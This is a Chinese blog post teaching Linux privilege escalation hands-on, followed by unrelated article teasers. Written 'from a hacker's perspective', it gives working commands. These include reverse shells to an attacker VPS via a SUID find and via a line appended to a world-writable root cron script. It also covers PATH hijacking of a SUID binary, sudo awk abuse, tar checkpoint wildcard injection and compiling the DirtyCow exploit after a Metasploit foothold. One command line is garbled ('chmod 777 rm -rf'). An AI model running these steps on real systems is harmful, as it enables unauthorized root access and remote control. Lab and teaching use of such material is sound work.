当前位置: 首页 > news >正文

Linux提权!!!

上一篇文章讲了Windows的提权,那么这篇文章就来讲一下Linux的提权

1.SUID提权

suid权限

作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置在属主位置上。

举个栗子,正常来说,我们普通用户去查看shadow文件肯定是看不了的

正常来说肯定是没有权限,如果管理员的错误配置,给了cat一个suid权限

导致了普通的用户也能以root身份去执行cat命令!!!(是不是和suid有点相似)!!

对于以下命令都是不能给suid权限的!!!

那么我们就从黑客的视角来试一下提权

先用以下的命令来查看一下有没有错误的配置

 find / -user root -perm -4000 -print 2>/dev/null

成功发现了一个find的错误的配置

于是就可以尝试反弹shell了直接

 先去开启一个nc监听

然后直接敲以下的命令,就能成功弹shell

find /etc/passwd  -exec   bash -c   " bash -i   >&  /dev/tcp/"VPS的ip"/"VPS的端口"   0>&1"  \;

2.计划任务提权

在Linux系统中,当我们需要在服务器上定时执行一些重复性的事件时使用的,可以通过Linux计划任务程序来运行准备好的脚本、批处理文件夹、程序或命令,在某个特定的时间运行。

计划任务在Linux 中一般使用 Crontab,通过 crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 Shell 脚本。

所以,假设我是一个运维人员,如果我想写一个脚本

#!/bin/bash
//我是逆天运维人员

写一个运维脚本 

然后"不小心的chmod 777 了" 很多我身边的人都是直接chmod 777 的!!

 并且配置了计划任务

那么下面,我们就用黑客视角来看看!!

先是是去查看一下计划任务!!!

 cat   /etc/crontab

发现有一个逆天运维人员配置了一个计划任务 

于是再去查看一下它的权限

看到这个就知道我们可以去弹shell了!!!

echo   "bash -i    >&   /dev/tcp/192.168.246.1/9191   0>&1  "   >> damn.sh

然后监听,静待上线

看!!!直接提权(或者说弹了一个root身份的shell出来)

3.环境变量劫持 

PATH是Linux和类Unix操作系统中的环境变量,类似Windows中的path环境变量,当我们执行一个命令的时候,shell会先去检查命令是否为系统内部的命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步的查找命令

其实这个感觉有点像SUID,但是也不完全像,??why ? 继续往下看

假设我是一个逆天运维人员,我想要去连续多次运行一些命令,但是又很长,那么我就将他变成一个exe,每当我运行这个exe,就是在执行我这个命令

然后编译成shell可执行文件

然后当我执行shell的时候,就是直接在运行cat    /etc/passwd 

 然后如果又不小心地给他设置了SUID

那么我们就可以环境变量劫持,下面,就是精彩的开始!!!

我们的思路试能不能劫持它的cat变量,因为它的的cat是以system去执行的!!而我们的环境变量cat又可以自己定义,就导致了环境变量的劫持

黑客视角开始::!!!!

假如我是一个黑客,本来想着要suid提权,但是误打误撞,发现了一个不知道什么玩意

(请忽略我的find的suid位)那么我们就去试一下shell是个什么东西

发现,好好好,就你这个逆天运维,直接给我运行了cat  /etc/passwd对吧

然后我们再去看一下权限??? !!!!! suid位!!!!

就可以去考虑提权了,下面,才是精彩开始!!!!!!

首先,我们去tmp目录下写一个环境变量

cd /tmp

然后敲以下的代码

echo  "/bin/bash"  >/tmp/cat

 并且去将这个文件创建为一个新的环境变量

export PATH=/tmp:$PATH

然后我们就能看见一个新的环境变量

然后,从现在开始,只要我执行cat命令,就是在执行bash!!!然后,我们cd到根目录下

执行shell,这里不能再去用cat查看shadow文件噢!!! 因为cat已经被替换了!!

至此,就已经完成了Linux的提权 !! ??不信,非要我弹shell是吧

那行,必须满足,嘻嘻嘻嘻

4.sudo滥用

开始之前,先去敲一下这个命令

sudo -l

如果你能看见这样的界面,说明管理员很棒棒,配置的不错

如果是这样,那你还是换一个用户吧          

好了,不开玩笑了,说一下sudo滥用吧

其中,我们看见的格式如下

所以就能明白一些错误配置的意思了

这个就是losy这个身份允许被root用户去执行python3

那么怎么查看对应的配置呢?

cat  /etc/sudoers   /这里可以进行配置

那么什么命令不能给sudo呢??这些命令给了就能提权还有tar.....

怎么提权呢

那么假设有这样的一个逆天环境

我们就能看见是所有人都可以用root权限去没有密码的执行sudo下的awk

直接提权!!!

5.WS通配符注入提权

在Linux中,通配符可以被用于模糊匹配,并且通配符的输入是由当前用户的shell去进行解析

*  表示匹配任意数量的字符

?表示匹配单个数量的字符

[]  表示匹配括号中的任意单个字符,并且可以使用字符-来表示范围,如[0-9]

有点云里雾里??? 没事。我们来举个栗子

touch   1.txt 2.txt 3.txt  a.txt ab.txt abc.txt

然后我们就能看见这样的文件!!!

然后,我们分别来演示一下以上提到的东西,应该很浅显易懂吧!!!!

下面,就是精彩的开始   我们先来看这样的命令

ls --help

正常来说是不是就会显示一些ls的帮助用法,那如果我们这样呢???

echo  "whoami@127.0.0.1" > --help
ls --help    ///????????

那么这样,bug是不是就要出来了!!!!到底是显示我们刚才创建的内容,还是正常的显示help内容呢 ???   嘻嘻嘻是,是不是感觉cpu开始转起来了 我们来看一下事实情况

它最后还是显示了help的系统设置,那么我们再来看这样的命令

ls *

这个的意思是不是就是查看当前文件夹的所有东西!!!但是如果是上面的情况呢??

ls 1.txt 2.txt 3.txt a.txt ab.txt abc.txt  --help   //等价于 ls *

是不是bug就出现了

所以相信聪明的各位已经大概懂了是什么意思了吧!!! 

那么下面我们就来举一个例子了!!!

tar   -czf  1.tgz  1.txt --checkpoint=1 --checkpoint-action=exec=whoami

这一条命令是用于打包的,并且是可以执行命令的(所以这个的suid和sudo都不能给)

那么假设有这样的一个场景,有些管理员想要将/var/www/html目录下的源代码进行打包。那么就是如下的命令

tar -czf  sourcecode.tgz  sourcecode.txt

 这样就能将源代码进行备份,防止源代码被串改,然后写了个计划任务,每分钟备份一次

*/1  *  *  *  * root   tar -czf /home/wanli/source.tgz   /var/www/html/ *

写了这样的一个计划任务,那么我们黑客在查看的时候发现了,于是就能通配符提权!!

但是呢,我只能说,这个命令是有问题的,如果你再本地直接运行,那没问题,肯定是能弹shell出去的

但是如果你用的是计划任务的话,你就会发现,它的计划任务执行了,但是并没有弹shell出来

而且在新版的Linux系统上,你直接创建--check-action=exec这样的文件也是会被引起来的,直接失效了,所以这个方法,ennnnn,不好评价

6.明文ROOT密码提权

如果我们能读到shadow文件,那么我们就可能有机会能爆破出密码

假设我们能读到shadow这个文件

$后面就是它的加密方式

然后你找对应的爆破工具用就好(不知道为什么我的join用不了,难崩了)

7.Linux内核提权

说了这么多的错误配置,怎么可能少得了内核提权呢??? 主要是因为配置的话,有一定的限制条件,但是内核的话就不用考虑了,直接提权!!!

1.DirtyCow(CVE-2016-5195)

存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。

对于以下的版本都会有影响

即低于以下内核版本均存在该漏洞:

Centos7 /RHEL7 3.10.0-327.36.3.el7

Cetnos6/RHEL6 2.6.32-642.6.2.el6

Ubuntu 16.10 4.8.0-26.28

Ubuntu 16.04 4.4.0-45.66

Ubuntu 14.04 3.13.0-100.147

Debian 8 3.16.36-1+deb8u2

Debian 7 3.2.82-1

其实这个漏洞的原理,就是通过内核溢出,将原本不可以读或者写的文件进行覆写(如将shadow文件进行覆写,导致我们可以进行root登录)

那么,下面我们就来复现一下这个漏洞

首先,我们能拿到这样的一个站点

然后发现它的框架存在漏洞,于是就去msf利用一波

成功拿到meterpreter之后,就要去查看权限了

很好,权限很低,而且能判断出来不是docker环境

所以我们就要去提权

upload '/home/kali/Desktop/linux-exploit-suggester.sh' 

先上传一个检测工具来检测一下!!!!

chmod 777 rm -rf linux-exploit-suggester.sh     //记得放权
./linux-exploit-suggester.sh

然后是能检测出一个脏牛漏洞,于是开始提权 

先把脏牛的poc传上去

然后解压,放权,一气呵成

unzip CVE-2016-5195-master.zip  
chmod  777 CVE-2016-5195-master

然后记得编译

g++  -Wall -pedantic  -O2 -std=c++11  -pthread   -o  dcow  dcow.cpp  -lutil

然后直接运行就好

ssh上去,就能拿到flag了!!!

所以最后总结一下,脏牛的原理就是

该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

对于内核提权,还有很多,如果不知道??

1.可以上传工具去扫

2.还可以这样,先uname -a  查看一下内核版本

然后把对应的斑斑贴上去就好(记得前面加一个linux)

相关文章:

Linux提权!!!

上一篇文章讲了Windows的提权,那么这篇文章就来讲一下Linux的提权 1.SUID提权 suid权限 作用:让普通用户临时拥有该文件的属主的执行权限,suid权限只能应用在二进制可执行文件(命令)上,而且suid权限只能设置…...

Android Studio学习7——常用控件view

Android控件 双击shift键——>搜索想要找的文件 Ctrlshift回车——>补全“;”号 CtrlX——>删除一行,只需把鼠标放在那一行 windows自带字体...

Springboot3 集成knife4j(swagger)

knife4j是为Java MVC框架集成Swagger生成Api文档的增强解决方案,前身是swagger-bootstrap-ui,取名kni4j是希望它能像一把匕首一样小巧,轻量,并且功能强悍! 官网地址: Knife4j 集Swagger2及OpenAPI3为一体的增强解决方案. | Knife4j 本文以Springboot3版本集成kn…...

深信服:借助观测云实现全链路可观测性

导读 深信服科技股份有限公司 简称「深信服」( Sangfor Technologies Inc. ),是一家领先的网络安全和云计算解决方案提供商,致力于为全球客户提供高效、智能、安全的网络和云服务。随着公司业务的不断扩展,也面临着监…...

详解Qt中使用线程

详解Qt中使用线程 Qt中的线程相关知识涵盖了线程创建、管理、通信以及线程安全等方面。下面将详细讲解这些知识点,并提供对应的示例代码。 线程创建与管理 QThread类 Qt通过QThread类来创建和管理线程。要创建一个新的工作线程,通常有两种方法&#…...

在.Net6中用gdal实现第一个功能

目录 一、创建.NET6的控制台应用程序 二、加载Gdal插件 三、编写程序 一、创建.NET6的控制台应用程序 二、加载Gdal插件 Gdal的资源可以经过NuGet包引入。右键单击项目名称,然后选择 "Manage NuGet Packages"(管理 NuGet 包)。N…...

采用大语言模型进行查询重写——Query Rewriting via Large Language Models

文章:Query Rewriting via Large Language Models,https://arxiv.org/abs/2403.09060 摘要 查询重写是在将查询传递给查询优化器之前处理编写不良的查询的最有效技术之一。 手动重写不可扩展,因为它容易出错并且需要深厚的专业知识。 类似地…...

使用Vue实现CSS过渡和动画

01-初识动画和过渡 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>使用vue实现css过渡和动画&l…...

一家购物商场的数据运营挑战

✅作者简介&#xff1a;《数据运营&#xff1a;数据分析模型撬动新零售实战》作者、《数据实践之美》作者、数据科技公司创始人、多次参加国家级大数据行业标准研讨及制定、高端企培合作讲师。 &#x1f338;公众号&#xff1a;风姑娘的数字视角&#xff0c;免费分享数据应用相…...

React Native框架开发APP,安装免费的图标库(react-native-vector-icons)并使用详解

一、安装图标库 要使用免费的图标库&#xff0c;你可以使用 React Native Vector Icons 库。 首先&#xff0c;确保你已经安装了 react-native-vector-icons&#xff1a; npm install --save react-native-vector-iconsnpm install --save-dev types/react-native-vector-ic…...

idea端口占用

报错&#xff1a;Verify the connector‘s configuration, identify and stop any process that‘s listening on port XXXX 翻译&#xff1a; 原因&#xff1a; 解决&#xff1a; 一、重启大法 二、手动关闭 启动spring项目是控制台报错&#xff0c;详细信息如下&#xff…...

MQ消息队列详解以及MQ重复消费问题

MQ消息队列详解以及MQ重复消费问题 1、解耦2、异步调用3、流量削峰4、MQ重复消费问题&#xff0c;以及怎么解决&#xff1f;4.1、重复消费产生4.2、解决方法&#xff1a; https://blog.csdn.net/qq_44240587/article/details/104630567 核心的就是&#xff1a;解耦、异步、削锋…...

系统IO函数接口

目录 前言 一. man手册 1.1 man手册如何查询 1.2 man手册基础 二.系统IO函数接口 三.open打开文件夹 3.1 例1 open打开文件 3.2 open打开文件代码 3.3 例2 创建文件 四.write写文件 4.1 write写文件 五. read读文件 5.1 read读文件与偏移 5.2 偏移细节 5.3 read读文件代码 六.复…...

06 监听器

文章目录 SessionAttListenerDemo.javaSessionListenerDemo.javaProductController.java SessionAttListenerDemo.java package com.aistart.listener;import javax.servlet.ServletContext; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpSess…...

C语言第三十九弹---预处理(上)

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】 预处理 1、预定义符号 2、#define定义常量 3、#define定义宏 4、带有副作用的宏参数 5、宏替换的规则 6、宏和函数的对比 总结 在C语言中&#xff0c;预处…...

计算机视觉无人驾驶技术:入门指南

I. 引言&#xff1a; 计算机视觉无人驾驶技术是一种基于计算机视觉和机器学习技术的自动化驾驶技术。它可以通过搭载各种传感器和摄像机&#xff0c;让车辆自主感知周围环境&#xff0c;实现尽可能自动化的驾驶操作。 这种技术具有重要性和优势&#xff0c;包括&#xff1a; …...

Golang和Java对比

其实我是Javaer转的Golang&#xff0c;我谈谈自己对Java和Golang的体会 我先讲讲我认为Golang的优点 1、Golang是一门新语言&#xff0c;相比于Java&#xff0c;他的生态要小很多&#xff0c;优点很明显&#xff0c;自由度高&#xff0c;学习成本低&#xff0c;能快速拉起一个…...

2024.2.29力扣每日一题——统计可能的树根数目

2024.2.29 题目来源我的题解方法一 深度搜索&#xff08;暴力&#xff09; 超时方法二 树形动态规划 题目来源 力扣每日一题&#xff1b;题序&#xff1a;2581 我的题解 方法一 深度搜索&#xff08;暴力&#xff09; 超时 以每个节点node为跟进行深度搜索&#xff0c;并在搜…...

同一个主机配置多个SSH key

使用git时&#xff0c;我们可能一个git客户端使用多个git服务器&#xff0c;比如github&#xff0c;自建gitlab&#xff0c;gitee&#xff0c;为了防止提交混乱&#xff0c;所以需要一一对应生成公私钥。 第一步&#xff1a; 使用ssh-keygen生成多对密钥对&#xff0c;比如&…...

SAP系统财务模块简介:实现财务管理的卓越之道

作为全球领先的企业管理软件提供商&#xff0c;SAP公司开发了一系列强大而全面的财务模块&#xff0c;帮助企业实现财务管理的高效运作与优化。SAP系统的财务模块涵盖了财务核算、成本管理、资金管理、资产会计等多个方面&#xff0c;为企业提供了完整的财务管理解决方案。本文…...

【pytest】功能特性及常用插件

pytest是一个功能强大的Python测试框架&#xff0c;它的语法简洁明了&#xff0c;易于学习和使用。同时&#xff0c;它提供了丰富的功能和插件&#xff0c;使得测试过程更加灵活和高效。 功能特性 pytest的主要功能特性包括&#xff1a; 参数化测试&#xff1a;允许使用不同…...

基于SpringBoot和Vue的房产销售系统的设计与实现

今天要和大家聊的是一款基于SpringBoot和Vue的房产销售系统的设计与实现 &#xff01;&#xff01;&#xff01; 有需要的小伙伴可以通过文章末尾名片咨询我哦&#xff01;&#xff01;&#xff01; &#x1f495;&#x1f495;作者&#xff1a;李同学 &#x1f495;&#x1f…...

ROS2从入门到精通1-2:详解ROS2服务通信机制与自定义服务

目录 0 专栏介绍1 服务通信模型2 服务模型实现(C)3 服务模型实现(Python)4 自定义服务5 话题、服务通信的异同 0 专栏介绍 本专栏旨在通过对ROS2的系统学习&#xff0c;掌握ROS2底层基本分布式原理&#xff0c;并具有机器人建模和应用ROS2进行实际项目的开发和调试的工程能力。…...

vue两个特性和什么是MVVM

一、什么是vue 1.构建用户界面 用vue往html页面中填充数据&#xff0c;非常的方便 2.框架 框架是一套线成的解决方案 vue的指令、组件&#xff08;是对ui结构的复用&#xff09;、路由、vuex 二、vue的特性 1.数据驱动视图 2.双向数据绑定 1.数据驱动视图 数据的变化会驱动…...

CAD Plant3D 2023 下载地址及安装教程

CAD Plant3D是一款专业的三维工厂设计软件&#xff0c;用于在工业设备和管道设计领域进行建模和绘图。它是Autodesk公司旗下的AutoCAD系列产品之一&#xff0c;专门针对工艺、石油、化工、电力等行业的设计和工程项目。 CAD Plant3D提供了一套丰富的工具和功能&#xff0c;帮助…...

集成电路企业tapeout,如何保证机台数据准确、完整、高效地采集?

Tapeout即流片&#xff0c;集成电路行业中将CDS最终版电路图提交给半导体制造厂商进行物理生产的过程。在芯片设计与制造的流程中&#xff0c;Tapeout是非常重要的阶段&#xff0c;包括了布局&#xff08;Layout&#xff09;、连线&#xff08;Routing&#xff09;、分析&#…...

Nginx三大常用功能“反向代理,负载均衡,动静分离”

注意&#xff1a;以下案例在Windows系统计算机作为宿主机&#xff0c;Linux CentOS 作为虚拟机的环境中实现 一&#xff0c;Nginx配置实例-反向代理 1.反向代理 案例一 实现效果&#xff1a;使用nginx反向代理&#xff0c;访问 www.123.com 直接跳转到127.0.0.1:8080 准备工…...

类方法介绍、使用细节

...

Java SpringBoot中优雅地判断一个对象是否为空

在Java中&#xff0c;可以使用以下方法优雅地判断一个对象是否为空&#xff1a; 使用Objects.isNull()方法判断对象是否为空&#xff1a; import java.util.Objects;if (Objects.isNull(obj)) {// obj为空的处理逻辑 }使用Optional类优雅地处理可能为空的对象&#xff1a; impo…...

算法——矩阵:对于边界元素的处理

. - 力扣&#xff08;LeetCode&#xff09; 题目简述&#xff1a;扫雷&#xff0c;点击一个格子&#xff0c;返回整个地图的下一个状态。 对于边界元素&#xff0c;可以设置两个数组&#xff0c;index_row&#xff0c;index_col&#xff0c;遍历到一个格子需要搜索其周围格子…...

事业单位网站建设工作方案/艾滋病多久能检查出来

邮箱登录方式有两种&#xff0c;一种是官方提供的统一登录网址&#xff0c;另外一种就是foxmail、outlook这样的客户端了。 在网页端登录邮箱可通过群发单显、抄送多人来群发邮件&#xff0c;用TOM VIP有5个套餐选择&#xff0c;最高可发500封。如果在邮箱客户端登录邮箱&…...

股票做T网站/自动seo系统

1 问题 权限菜单从后台获取&#xff0c;在编辑角色菜单权限时&#xff0c;从后台获取角色权限&#xff0c;根据角色权限设置菜单的勾选情况&#xff0c;但是发现设置完后&#xff0c;菜单树没有更新&#xff0c;而是需要手动点击展开或闭合之后才会刷新&#xff0c;如下图 点…...

网站集约化建设进度汇报/万网的app叫什么

选择排序就是每次遍历数组找到最大的&#xff0c;然后将最大的和没有排序的部分的最后一个元素进行交换 举例如下&#xff0c; 第一次遍历找到最大的 20&#xff0c;将20 和最后一个元素2 交换&#xff0c;20 现在是已经排好序的了 第二次遍历找到最大的值10&#xff0c;将10 和…...

python基础教程第二版/aso优化什么意思是

java基础之main方法解读&#xff1a; 一、深入理解main方法&#xff1a;&#xff08;由java虚拟机调用&#xff09; 解释main方法的形式&#xff1a;public static void main (String [] args){} 1.java虚拟机需要调用类的main&#xff08;&#xff09;方法&#xff0c;所以该…...

解除网站开发合同 首付款是否退/如何利用网络广告进行推广

目标&#xff0c;使用2台机器部署RocketMQ多Master多Slave模式&#xff0c;异步复制集群模式。 第一步&#xff0c;修改/etc/hosts文件192.168.116.115 rocketmq1 192.168.116.116 rocketmq2复制代码集群机器配置完成之后&#xff0c;集群内进行ping一下&#xff0c;确保都通。…...

平台营销型网站建设/上海网站快速排名优化

编辑距离 编辑距离&#xff08;Edit Distance&#xff09;&#xff0c;又称Levenshtein距离&#xff0c;是指两个字串之间&#xff0c;由一个转成另一个所需的最少编辑操作次数。编辑操作包括将一个字符替换成另一个字符&#xff0c;插入一个字符&#xff0c;删除一个字符。一般…...